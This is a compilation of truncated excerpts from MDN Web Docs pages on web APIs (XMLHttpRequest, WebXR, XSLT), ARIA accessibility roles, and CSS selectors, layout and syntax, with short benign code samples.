...e url is null. xmlhttprequest.responsexml read only returns a document containing the response to the request, or null if the request was unsuccessful, has not yet been sent, or cannot be parsed as xml or html. not available in workers. xmlhttprequest.status read only returns an unsigned short with the status of the response of the request. xmlhttprequest.statustext read only returns a domstring containing the response string returned by the http server. unlike xmlhttprequest.status, this includes the entire text of the response message ("200 ok", for example). note: according to the http/2 specification (8.1.2.4 response pseudo-header fields), http/2 does not define a way to carry the version or reason phrase that is included in an http/1.1 status line. xmlhttprequest.timeo...
XMLHttpRequestResponseType - Web APIs
the response is a blob object containing the binary data. document the response is an html document or xml xmldocument, as appropriate based on the mime type of the received data. see html in xmlhttprequest to learn more about using xhr to fetch html content. json the response is a javascript object created by parsing the contents of received data as json. text the response is a text in a domstring object. ms-stream the response is part of a streaming download; this response type is only allowed for download requests, and is only supported by internet explorer. deprecated values moz-chunked-arraybuffer a firefox-only value which instructs xmlhttprequest to deliver arraybuffer objects containing chunks of the incoming data. accessing response during a progress event return...
... value which instructs xmlhttprequest to deliver arraybuffer objects containing chunks of the incoming data. accessing response during a progress event returns the data received so far. outside the progress event handler, the value of response is always null. you shouldn't use this non-standard (and, as of firefox 68, entirely removed) api; instead, consider using the fetch api with readable streams, which offers a standard alternative to accessing the response in a streaming fashion. specifications specification status comment xmlhttprequest unknown live standard, latest version ...
XRReferenceSpace - Web APIs
the offset transform between the tracked object and another location in the world. all reference spaces—with the sole exception being bounded reference spaces—are described using the xrreferencespace type. bounded spaces are implemented as xrboundedreferencespace objects. these are special spaces which let you establish a perimeter within which it's "safe" for the viewer to move. for xr systems that allow the user to physically move around, such as those that track movement with a real-world camera, this boundary establishes the edges of the area the user is able to move around in, whether due to physical obstacles or due to limitations of the xr hardware. see the article using bounded reference spaces to protect the viewer for more on using boundaries to keep the user from colliding wi...
...a new reference space object as the same type as the one on which you call the method (so, either xrreferencespace or xrboundedreferencespace). the new reference space can be used to transform a coordinate from the reference space of the object on which the method is called into a different coordinate space. this is useful for positioning objects while rendering, and to perform the needed transforms when changing the viewer's position and/or orientation in 3d space. events in addition to other events that may be sent to xrspace or eventtarget objects, the following also apply to xrreferencespace objects. reset the reset event is sent to an xrreferencespace object when the browser detects a discontinuity has occurred wherein the tracked object's origin relative to the user's environ...
XRSession.environmentBlendMode - Web APIs
the xrsession interface's read-only environmentblendmode property identifies if—and to what degree—the computer-generated imagery is overlaid atop the real world. this is used to differentiate between fully-immersive vr sessions and ar sessions which render over a pass-through image of the real world, possibly partially transparently. ...
... permitted values are: opaque the rendered image is drawn without allowing any pass-through imagery. ...
XRSession - Web APIs
Web › API › XRSession
resenting an input device used to control the camera and/or scene. renderstate read only an xrrenderstate object which contains options affecting how the imagery is rendered. this includes things such as the near and far clipping planes (distances defining how close and how far away objects can be and still get rendered), as well as field of view information. visibilitystate read only a domstring whose value is one of those found in the xrvisibilitystate enumerated type, indicating whether or not the session's imagery is visible to the user, and if so, if it's being visible but not currently the target for user events. methods xrsession provides the following methods in addition to those inherited from its parent interface, eventtarget. cancelanimationframe() removes a callbac...
...he list of active xr input sources has changed. also available through the oninputsourceschange event handler property. select an event of type xrinputsourceevent which is sent to the session when one of the session's input sources has successfully completed a primary action. this generally corresponds to the user pressing a trigger, touchpad, or button, speaks a command, or performs a recognizable gesture. the select event is sent after the selectstart event is sent and immediately before the selectend event is sent. if select is not sent, then the select action was aborted before being completed. also available through the onselect event handler property. selectend an event of type xrinputsourceevent which gets sent to the session object when one of its inpu...
XSL Transformations in Mozilla FAQ - Web APIs
actually use it, though. if you need platform dependent code or stylesheets, just do <xsl:if test="system-property('xsl:vendor')='transformiix'"> <!-- mozilla specific markup --> </xsl:if> <xsl:if test="system-property('xsl:vendor')='microsoft'"> <!-- ie specific markup --> </xsl:if> check system-properties.xml for the properties of your favorite system. msxml has an additional property. <xsl:if xmlns:msxsl="urn:schemas-microsoft-com:xslt" test="system-property('msxsl:version')=3"> <!-- msxml3 specific markup --> </xsl:if> what about media="print"? when printing a document, mozilla tries to render the page on paper as closely to what you see as possible. this includes stuff like text entered into textfields and ...
...ke in pages without xslt. how do i do transformnode? there is transformtodocument and transformtofragment starting with mozilla 1.2 final, see using the mozilla javascript interface to xsl transformations. why does internet explorer require a different xslt namespace than mozilla? ie up to version 6 required a deprecated namespace of a xslt working draft, please update to mozilla ;-), ie6+ or msxml3+, as it is fixed there. as the differences between xslt1.0 and the ie implementation of that wd are significant, we offer no legacy support. how do i build the standalone version of transformiix? see the building transformiix standalone page. original document information author(s): axel hecht last updated date: february 2, 2005 copyright information: portions of this content are © ...
ARIA Screen Reader Implementors Guide - Accessibility
t to speech and a braille display), then two queues can be maintained to allow for parallel presentation. the channels could be user configured for presenting live regions based on role or politeness. busy regions: any changes in a region marked with aria-busy="true" should not be added to the queue until that attribute is cleared. politeness (aria-live or from role) takes first precedence,: items should be added to the queue based on their politeness level from the aria-live property or inherited from the role (e.g. role="log" is polite by default). assertive items are first then politeness level. alternatively, implementations may choose to have a policy of clearing more polite items, e.g. assertive items clear any polite items from the queue. time takes second precedence: prioritize it...
...should be added to the queue based on their politeness level from the aria-live property or inherited from the role (e.g. role="log" is polite by default). assertive items are first then politeness level. alternatively, implementations may choose to have a policy of clearing more polite items, e.g. assertive items clear any polite items from the queue. time takes second precedence: prioritize items with the same politeness level according to when the event occurs (earlier events come first). present items of the same politeness level in the order of what occurred first. atomic (aria-atomic="true") regions with multiple changes should not be presented twice with the same content. as a new event for an atomic region is added to the queue remove an earlier event for the same region. it is pro...
Using the alert role - Accessibility
ole="alert">your form could not be submitted because of 3 validation errors.</h2> example 2: dynamically adding an element with the alert role this snippet dynamically creates an element with an alert role and adds it to the document structure. ...
...myalert = document.createelement("p"); myalert.setattribute("role", "alert"); let myalerttext = document.createtextnode("you must agree with our terms of service to create an account."); myalert.appendchild(myalerttext); document.body.appendchild(myalert); note: the same result can be achieved with less code when using a script library like jquery: $("<p role='alert'>you must agree with our terms of service to create an account.</p>").appendto(document.body); example 3: adding alert role to an existing element sometimes it's useful to add an alert role to an element that is already visible on the page rather than creating a new element. this allows the developer to reiterate information that has become more relevant or urgent to the user. for example, a form control may have instructio...
ARIA annotations - Accessibility
the semantics for this have long been available in html, via the <ins> and <del> elements: <p>freida’s pet is a <del>black cat called luna</del><ins>purple tyrannosaurus rex called tiny</ins>.</p> with t...
...aria annotations can help us here too. let’s say we have a comment box like so: <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time>...
ARIA: article role - Accessibility
<div role="article"> <h2>heading of the segment</h2> <p>paragraph for the segment.</p> <p>another paragraph.</p> ... controls to interact with the article, share it, etc. ... </div> <div role="article"> ... </div> this example shows two articles side by side on one page that could be structured similarly and are related. ...
..., forum posts, a comment to a forum or blog post, a comment to a comment to a forum or blog post, any an item in a social media feed. associated wai-aria roles, states, and properties aria-posinset in the context of a feed, indicates the position of this particular article within that feed, based on a count starting at 1. aria-setsize in the context of a feed, indicates how many article items there are within that feed. keyboard interactions this role does not support any specific keyboard interaction. required javascript features event handlers this role does not require any event handlers to be present. changing attribute values when constructing a feed, set the aria-posinset and aria-setsize attributes on each article role to the appropriate values, bearing in mind that a...
ARIA: feed role - Accessibility
een the web page and assistive technologies that governs scroll interactions so that assistive technology users can read articles, jump forward and backward by article, and reliably trigger new articles to load while in reading mode. examples include an rss feed, news feeds, social media feeds like facebook, instagram or twitter, or even a list of related products on an ecommerce page. these streams can be limited or infinite, loading more content as the user scrolls. implementing the feed pattern allows a screen reader to reliably read and trigger the loading of feed content while in reading mode. a feed is a container element whose children are <article>s or have role article. each article within a feed should be focusable, with tabindex of 0 or -1. an article should be scrolled into view...
...e the updates. to ensure good user experience, avoid inserting or removing articles in the middle of a feed, load new articles before the user has reached the end of the feed, and provide keyboard commands for moving focus among articles so that keyboard users can navigate through your feed. see keyboard interactions below. if the number of articles is known, set aria-setsize on the articles themselves. however, if the total number is extremely large, indefinite, or changes often, set aria-setsize="-1" to indicate that the size of the feed is not known. another feature of the feed pattern is skim reading: articles within a feed can contain both an accessible name with the aria-label and a description with an aria-describedby, suggesting to screen readers which elements to speak after the ...
ARIA: form role - Accessibility
iv> this is a form that collects and saves a user's contact information. important: use an html <form> element to contain your form controls, rather than the aria form role, unless you have a very good reason. the html <form> element is sufficient to tell assistive technologies that there is a form. description a form landmark identifies a region of content that contains a collection of items and objects that, as a whole, combine to create a form when no other named landmark is appropriate (e.g. main or search). using the <form> element will automatically communicate a section of content as a form landmark, if it is provided an accessible name. developers should always prefer using the correct semantic html element over using aria. use the html <form> element if possible.
...bmit"> </div> it is recommended to use <form> instead. <form id="send-comment" aria-label="add a comment"> .... </form> accessibility concerns use sparingly landmark roles are intended to identify larger overall sections of the document. using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page. inputs are not forms you do not need to declare role="form" on every form element (inputs, text areas, selects, etc.). it should be declared on the html element that wraps the form elements. ideally, use the <form> element as the wrapping element and do not declare role="form". search if a form is used to search, you should use the more specialized role="search" value. labeling landmarks each <form> element and ...
ARIA: button role - Accessibility
the design were to call for the button label to change from "mute" to "unmute," a toggle button would not be appropriate, so the the aria-pressed attribute would be omitted. keyboard interactions key function enter activates the button. space activates the button following button activation, focus is set depending on the type of action the button performs. for example, if clicking the button opens a dialog, the focus should move to the dialog. if the button closes a dialog, focus should returns to the button that opened the dialog unless the function performed in the dialog context logically leads to a different element. if the button alters the current context, then focus typically remains on the button, such as muting and unmuting an audio file.
... in order to be consistent with native buttons. when the button role is used, screen readers announce the element as a button, generally saying "click" followed by the button's accessible name. the accessible name is either the content of the element or the value of an aria-label or element referenced by an aria-labelledby attribute, or description, if included. best practices if a link performs the action of a button, giving the element role="button" helps assistive technology users understand the function of the element. however, a better solution is to adjust the visual design so it matches the function and aria role. where possible, it is recommended to use native html buttons (<button>, <input type="button">, <input type="submit">, <input type="reset"> and <input type="image">) ra...
ARIA: textbox role - Accessibility
spopup attributes should also be included. the value of aria-controls is the id of the element that contains the list of suggested values. additionally, either the textbox or a containing element with role combobox has a value for aria-haspopup that matches the role of the element that contains the list of suggested values. aria-multiline attribute if aria-multiline="true" is set, the at informs the user that the textbox supports multi-line input, with the expectation that enter or return will create a line break rather than submitting the form. aria does not alter the behavior of the element; rather this feature must be controlled by the developer. if false is set, or the the attribute is omitted and defaults to false, the user expectation is that the control is a single line text box,...
...c <input type="text"> or <textarea> with a required attribute. keyboard interactions in a single-line use (when aria-multiline is false or not used), the return or enter key submits the form. in a multi-line use (when aria-multiline is true), return or enter key inserts a line break. javascript features all features associated with any and all properties and states must be maintained, and forms submission on enter or return on a single line textbox needs to be handled. focus event handler and aria-activedescendent attribute if you are implementing a composite widget, such as a combobox composed of a text box and a listbox, you need to manage the aria-activedescendent attribute using a handler. before using this technique, ensure that the browsers you need to target currently support...
WAI-ARIA Roles - Accessibility
ts children should be treated similar to a desktop application, and no traditional html interpretation techniques should be used. this role should only be used to define very dynamic and desktop-like web applications.aria: article rolethe article role indicates a section of a page that could easily stand on its own on a page, in a document, or on a website. it is usually set on related content items such as comments, forum posts, newspaper articles or other items grouped together on one page.aria: banner rolea banner role represents general and informative content frequently placed at the beginning of the page. this usually includes a logo, company name, search icon, photo related to the page, or slogan.aria: button rolethe button role should be used for clickable elements that trigger a res...
...vided to indicate relationships between sections.aria: img rolethe aria img role can be used to identify multiple elements inside page content that should be considered as a single image. these elements could be images, code snippets, text, emojis, or other content that can be combined to deliver information in a visual manner.aria: list rolethe aria list role can be used to identify a list of items. it is normally used in conjunction with the listitem role, which is used to identify a list item contained inside the list.aria: listbox rolethe listbox role is used for lists from which a user may select one or more items which are static and, unlike html <select> elements, may contain images.aria: listitem rolethe aria listitem role can be used to identify an item inside a list of items. it is...
Web applications and ARIA FAQ - Accessibility
ed" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" /> this progress bar is built using a <div>, which is not very descriptive. unfortunately, there isn't a more semantic tag available to developers in html 4, so we need to include aria roles and properties. these are specified by adding attributes to the element. in this example, the role="progressbar" attribute informs the browser that this element is actually a javascript-powered progress bar widget. the aria-valuemin and aria-valuemax attributes specify the minimum and maximum values for the progress bar, and the aria-valuenow describes the current state of it. along with placing them directly in the markup, aria attributes can be added to the element and updated dynamically using javascript code like this: ...
...cations and widgets: yahoo!'s aria bookmarklets fluid project's simple accessibility evaluation techniques where do aria discussions happen? wai-xtech mailing list -- holds discussions on aria specs. free-aria google group -- for developers and users of free tools and resources. where can i learn more about aria? an overview of accessible web applications and widgets accessible forms the w3c's wai-aria frequently asked questions webaim's accessibility of rich internet applications ...
ARIA - Accessibility
" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100"> </div> this progress bar is built using a <div>, which has no meaning. unfortunately, there isn't a more semantic tag available to developers in html 4, so we need to include aria roles and properties. these are specified by adding attributes to the element. in this example, the role="progressbar" attribute informs the browser that this element is actually a javascript-powered progress bar widget. the aria-valuemin and aria-valuemax attributes specify the minimum and maximum values for the progress bar, and the aria-valuenow describes the current state of it and therefore must be kept updated with javascript. along with placing them directly in the markup, aria attributes can be added to the element and up...
...tion realities. simple aria enhancements enhancing page navigation with aria landmarks a nice intro to using aria landmarks to improve web page navigation for screen reader users. see also, aria landmark implementation notes and examples on real sites (updated as of july 2011). improving form accessibility aria is not just for dynamic content! learn how to improve accessibility of html forms using additional aria attributes. aria for scripted widgets writing keyboard-navigable javascript widgets built-in elements like <input>, <button> etc have built-in keyboard accessibility. if you 'fake' these with <div>s and aria, you must ensure your widgets are keyboard accessible. live regions live regions provide suggestions to screen readers about how to handle changes to the content...
:-moz-ui-invalid - CSS: Cascading Style Sheets
this pseudo-class is applied according to the following rules: if the control does not have focus, and the value is invalid, apply this pseudo-class. if the control has focus, and the value was valid (including empty) when it gained focus, do not apply the pseudo-class. if the control has focus, and the value was invalid when it gained focus, re-validate on every keystroke. ...
... rules apply only if the user has changed the value or attempted to submit the form. the result is that if the control was valid when the user started interacting with it, the validity styling is changed only when the user shifts focus to another control. however, if the user is trying to correct a previously-flagged value, the control shows immediately when the value becomes valid. required items have the pseudo-class applied only if the user changes them or attempts to submit an unchanged valid value. by default, gecko applies a style that creates a red "glow" (using the box-shadow property) around items, which have this pseudo-class applied. see the :invalid pseudo-class for an example that shows how to override the default style. the specification for :user-invalid is still in progres...
::placeholder - CSS: Cascading Style Sheets
nd bold or larger, or 24px or larger. webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 usability placeholder text with sufficient color contrast may be interpreted as entered input. placeholder text will also disappear when a person enters content into an <input> element. both of these circumstances can interfere with successful form completion, especially for people with cognitive concerns. an alternate approach to providing placeholder information is to include it outside of the input in close visual proximity, then use aria-describedby to programmatically associate the <input> with its hint. with this implementation, the hint content is available even if information is entered int...
...type="email"> placeholders in form fields are harmful — nielsen norman group windows high contrast mode placeholder text will appear with the same styling as user-entered text content when rendered in windows high contrast mode. this will make it difficult for some people to determine which content has been entered, and which content is placeholder text. greg whitworth — how to use -ms-high-contrast labels placeholders are not a replacement for the <label> element. without a label that has been programmatically associated with an input using a combination of the for and id attributes, assistive technology such as screen readers cannot parse <input> elements. mdn basic form hints placeholders in form fields are harmful — nielsen norman group examples red text html ...
::slotted() - CSS: Cascading Style Sheets
Web › CSS › ::slotted
ft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support 59 — 63disabled disabled from version 59 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android full support 37safari ios full support 10samsung internet android full support 5.0legend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature. ...
:checked - CSS: Cascading Style Sheets
Web › CSS › :checked
the associated semantic browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
:defined - CSS: Cascading Style Sheets
Web › CSS › :defined
. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 10webview android full support 54chrome android full support 54firefox android full support 63opera android full support 41safari ios full support 10samsung internet android full support 6.0legend full support full support no support no support ...
:disabled - CSS: Cascading Style Sheets
Web › CSS › :disabled
living standard no chang...
...ument.addeventlistener('domcontentloaded', function () { // attach `change` event listener to checkbox document.getelementbyid('billing-checkbox').onchange = togglebilling; }, false); function togglebilling() { // select the billing text fields var billingitems = document.queryselectorall('#billing input[type="text"]'); // toggle the billing text fields for (var i = 0; i < billingitems.length; i++) { billingitems[i].disabled = !billingitems[i].disabled; } } result specifications specification status comment html living standardthe definition of ':disabled' in that specification. living standard no change. html5the definition of ':disabled' in that specification. recommendation defines the semantics of html and forms. ...
:has() - CSS: Cascading Style Sheets
Web › CSS › :has
aft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
:host() - CSS: Cascading Style Sheets
Web › CSS › :host()
inside the <footer> a special color. specifications specification status comment css scoping module level 1the definition of ':host()' in that specification. working draft initial definition. ...
... set to true). to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10notes full support 10notes notes certain css selectors do not work (:host > .local-child) and styling slotted content (::slotted) is buggy.samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. ...
:host-context() - CSS: Cascading Style Sheets
ft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
:host - CSS: Cascading Style Sheets
Web › CSS › :host
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support 61 — 63disabled disabled from version 61 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10samsung internet android full support 6.0legend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature. ...
:link - CSS: Cascading Style Sheets
Web › CSS › :link
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support 1.5chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 3.2samsung internet android full support 1.0legend full support full support ...
:read-only - CSS: Cascading Style Sheets
the associated semantics. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... see also :read-write html contenteditable attribute ...
:read-write - CSS: Cascading Style Sheets
the associated semantics. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... see also :read-only html contenteditable attribute ...
:target - CSS: Cascading Style Sheets
Web › CSS › :target
on>cras risus odio, pharetra nec ultricies et, mollis ac augue. nunc et diam quis sapien dignissim auctor. ...
...; justify-content: center; } /* lightbox content */ .lightbox figcaption { width: 25rem; position: relative; padding: 1.5em; background-color: lightpink; } /* close button */ .lightbox .close { position: relative; display: block; } .lightbox .close::after { right: -1rem; top: -1rem; width: 2rem; height: 2rem; position: absolute; display: flex; z-index: 1; align-items: center; justify-content: center; background-color: black; border-radius: 50%; color: white; content: "×"; cursor: pointer; } /* lightbox overlay */ .lightbox .close::before { left: 0; top: 0; width: 100%; height: 100%; position: fixed; background-color: rgba(0,0,0,.7); content: ""; cursor: default; } result specifications specification status com...
:where() - CSS: Cascading Style Sheets
Web › CSS › :where
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:where()chrome full support 72disabled full support 72disabled disabled from version 72: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled). to change preferences in chrome, visit chrome://flags.edge no support ...
... from version 72: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled). to change preferences in chrome, visit chrome://flags.firefox android no support noopera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. ...
@charset - CSS: Cascading Style Sheets
Web › CSS › @charset
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
system - CSS: Cascading Style Sheets
tor is unable to construct the representation for a particular counter value, then that value's representation will be constructed using the fallback system provided. syntax /* keyword values */ system: cyclic; system: numeric; system: alphabetic; system: symbolic; system: additive; system: fixed; /* combined values */ system: fixed 3; system: extends decimal; this may take one of three forms: one of the keyword values cyclic, numeric, alphabetic, symbolic, additive, or fixed. the keyword value fixed along with an integer. the keyword value or extends along with a @counter-style name. cyclic cycles through the list of symbols provided. once the end of the list of symbols is reached, it will loop back to the beginning and start over. this system is useful for simple bulle...
...habetic system, the first counter symbol given in the symbols descriptor is interpreted as 1, the next as 2, and so on. however, in the numeric system, the first counter symbol is interpreted as 0, the next as 1, then 2, and so on. at least two counter symbols must be specified in the symbols descriptor or the counter style is not valid. additive used to represent "sign-value" numbering systems, such as roman numerals, which rather than reuse digits in different positions to obtain different values, define additional digits for larger values. the value of a number in such a system can be found out by adding the digits in the number. an additional descriptor called additive-symbols must be specified with at least one additive tuple, or else the counter style rule will not be valid. an...
Using feature queries - CSS: Cascading Style Sheets
tch to enable the css you want to use: @supports (property1: value) or (property2: value) { css rules to apply } this can be particularly useful if a feature is vendor prefixed, as you can test for the standard property plus any vendor prefixes. limitations of feature queries the @supports rule tests to see if the browser can parse one or more property/value pairs, and therefore if it claims to support the feature(s). if the property and value pair is understood by the browser it returns a positive response. therefore feature queries cannot be used to check if a browser supports a thing properly, and without bugs! in addition, feature queries cannot test for partial implementations. a good example of this is the gap property. all browsers that support css grid support gap in css gri...
...cing our layout by using css grid. browsers that do not support grid will ignore the grid value of the display property. once a floated item becomes a grid item, the float is removed — something you can read more about in supporting older browsers. therefore the grid version should just overwrite the floated one. we have a problem however, caused by the width property we used on our floated items to make them display as three columns. this is now interpreted by grid as being the width of the column track, not the width of the container as it is for the float. what we need is a way to remove the width if display: grid is supported. this is exactly the situation feature queries solve. we can set the width back to auto if grid is supported. in the above scenario, it doesn't matter that...
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
uld suggest at this point you should implement the new specification only, unless you have data to show a large number of users who would benefit from a fallback version. if you want to test using feature queries for support of the new spec then we'd suggest testing for scroll-snap-align as this property did not exist in the old implementation. however, these properties shouldn't cause any problems to non-supporting browsers due to the way that browsers simply ignore css that they do not understand. why are there two versions of scroll snap? finally, you might wonder why we ended up in a scenario where two versions exist at all. this is the reality of developing new css — it can't be developed in a vacuum away from browser implementations. at some point browsers need to implement a spec...
...owsers simply ignore css that they do not understand. why are there two versions of scroll snap? finally, you might wonder why we ended up in a scenario where two versions exist at all. this is the reality of developing new css — it can't be developed in a vacuum away from browser implementations. at some point browsers need to implement a spec to show that it works, and to discover any problems that only become apparent when the spec is in use alongside other properties in the real world. in such cases we can end up with implementations of older versions available alongside newer versions as browsers are in the process of updating. ...
Using CSS transitions - CSS: Cascading Style Sheets
r("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); the shorthand css syntax is written as follows: div { transition: <property> <duration> <timing-function> <delay>; } examples simple example this example performs a four-second font size transition with a two-second delay between the time the user mouses over the element and the beginning of the animation effect: #delay { font-size: 14px; transition-property: font-size; transition-duration: 4s; transition-delay: 2s; } #delay:hover { font-size: 36px; } multiple animated properties example html content <body> <p>the box below combines tr...
...it's easy to use transitions to make the effect even more attractive. before we look at code snippets, you might want to take a look at the live demo (assuming your browser supports transitions). first, we set up the menu using html: <nav> <a href="#">home</a> <a href="#">about</a> <a href="#">contact us</a> <a href="#">links</a>...
List group with badges - CSS: Cascading Style Sheets
in this recipe we will create a list group pattern with badges that indicate a count. requirements our list items should be displayed with the badges lined up on the right, no matter how much content the item has. the badge should always be centered vertically whether there is a single line of content, or more than one. recipe download this example choices made flexbox makes this particular pattern straightforward and also makes it easy to make changes to the layout. to ensure the text and badge line up correctly i use the justify-content property with a value of space-between. this places any extra space between the items. in the live example, if you remove this property and you will see the badge move to the end of the text on items with text shorter than the one line. to al...
...sy to make changes to the layout. to ensure the text and badge line up correctly i use the justify-content property with a value of space-between. this places any extra space between the items. in the live example, if you remove this property and you will see the badge move to the end of the text on items with text shorter than the one line. to align the content horizontally, i use the align-items property to align the text and badge on the cross axis. if instead, you want the badge to align to the top of the content, change this to align-items: flex-start. ...
CSS Layout cookbook - CSS: Cascading Style Sheets
in addition to providing code you can use as a starting point in your projects, these recipes highlight the different ways layout specifications can be used, and the choices you can make as a developer. note: if you are new to css layout then you might first like to take a look at our css layout learning module, as this will give you the basic grounding you need to make use of the recipes here. the recipes recipe description layout methods media objects a two-column box with an image on one side and descriptive text on the other, e.g. a facebook post or tweet. ...
...bottom of the container or viewport when the content is shorter. css grid, flexbox split navigation a navigation pattern where some links are visually separated from the others. flexbox, margin breadcrumb navigation creating a list of links to allow the visitor to navigate back up through the page hierarchy. flexbox list group with badges a list of items with a badge to display a count. flexbox, box alignment pagination links to pages of content (such as search results). flexbox, box alignment card a card component, which displays in a grid of cards. grid layout grid wrapper for aligning grid content within a central wrapper, while also allowing items to break out. css grid contribute a recip...
Using media queries - CSS: Cascading Style Sheets
hat target special devices such as printers or audio-based screenreaders. for example, this css targets printers: @media print { ... } you can also target multiple devices. for instance, this @media rule uses two media queries to target both screen and print devices: @media screen, print { ... } see media types for a list of all media types. because they describe devices in only very broad terms, just a few are available; to target more specific attributes, use media features instead. targeting media features media features describe the specific characteristics of a given user agent, output device, or environment. for instance, you can apply specific styles to widescreen monitors, computers that use mice, or to devices that are being used in low-light conditions. this example applies s...
... all media type is used by default when no other type is specified. however, if you use the not or only operators, you must explicitly specify a media type. combining multiple types or features the and keyword combines a media feature with a media type or other media features. this example combines two media features to restrict styles to landscape-oriented devices with a width of at least 30 ems: @media (min-width: 30em) and (orientation: landscape) { ... } to limit the styles to devices with a screen, you can chain the media features to the screen media type: @media screen and (min-width: 30em) and (orientation: landscape) { ... } testing for multiple queries you can use a comma-separated list to apply styles when the user's device matches any one of various media types, features, ...
CSS Tutorials - CSS: Cascading Style Sheets
Web › CSS › Tutorials
is a basic feature that is very quickly needed by web developers. though not that difficult, it requires a basic knowledge of css. intermediate-level css tutorials after the release of css 2 (level 1), new features have been added to css. some of them are fancy and are pretty self contained. they are easy to use for anybody with a fair knowledge of basic concepts. css counters counting items and pages is an easy task in css. learn to use counter-reset, counter-increment, counters(), and counter(). css animations css3 animations allow you to define configurations of style, as keyframes, and to transition between them defining an animation. css transitions css3 transitions allow you to define an animation between several styles and to control the way this transition happens. css t...
...ges is an easy task in css. learn to use counter-reset, counter-increment, counters(), and counter(). css animations css3 animations allow you to define configurations of style, as keyframes, and to transition between them defining an animation. css transitions css3 transitions allow you to define an animation between several styles and to control the way this transition happens. css transforms transforms allow you to change the position of elements by modifying their coordinate space: it allows for translating, rotating, and deforming them in the 2d or 3d spaces. css gradients gradients are images that transition smoothly from one color to another. there are several types of gradients allowed in css: linear or radial, repeating or not. this tutorial describes how to use them. adva...
Value definition syntax - CSS: Cascading Style Sheets
ed juxtaposition. all juxtaposed components are mandatory and should appear in the exact order. bold <length> , thin this example matches the following values: bold 1em, thin bold 0, thin bold 2.5cm, thin bold 3vh, thin but not: thin 1em, bold, as the entities must be in the expressed order bold 1em thin, as the entities are mandatory; the comma, a literal, must be present bold 0.5ms, thin, as the ms values are not <length> double ampersand separating two or more components, by a double ampersand, &&, means that all these entities are mandatory but may appear in any order. bold && <length> this example matches the following values: bold 1em bold 0 2.5cm bold 3vh bold but not: bold, as both components must appear in the value. bold 1em bold, as both component...
...bold, as smaller must appear at least one time. bold smaller smaller smaller, as the different occurrence of smaller must be separated by commas. smaller, as bold is juxtaposed and must appear before any smaller keyword. exclamation point (!) the exclamation point multiplier after a group indicates that the group is required, and must produce at least one value; even if the grammar of the items within the group would otherwise allow the entire contents to be omitted, at least one component value must not be omitted. [ bold? smaller? ]! this example matches the following values: bold smaller bold smaller but not: neither bold nor smaller, as one of them must appear. smaller bold, as bold is juxtaposed and must appear before the smaller keyword. bold smaller bold, as bold a...
attr() - CSS: Cascading Style Sheets
Web › CSS › attr
specified unit. if it is not valid, that is not a number or out of the range accepted by the css property, the default value is used. leading and trailing spaces are stripped. 0deg, or, if 0deg is not a valid value for the property, the property's minimum value. time <time> the attribute value is parsed as a css <time> dimension, that is including the unit (e.g. 30.5ms). if it is not valid, that is not a time or out of the range accepted by the css property, the default value is used. leading and trailing spaces are stripped. 0s, or, if 0s is not a valid value for the property, the property's minimum value. s, ms <time> the attribute value is parsed as a css <number>, that is without the unit (e.g. 12.5), and interpreted as an<tim...
...alid value. if not set, css will use the default value defined for each <type-or-unit>. ...
backface-visibility - CSS: Cascading Style Sheets
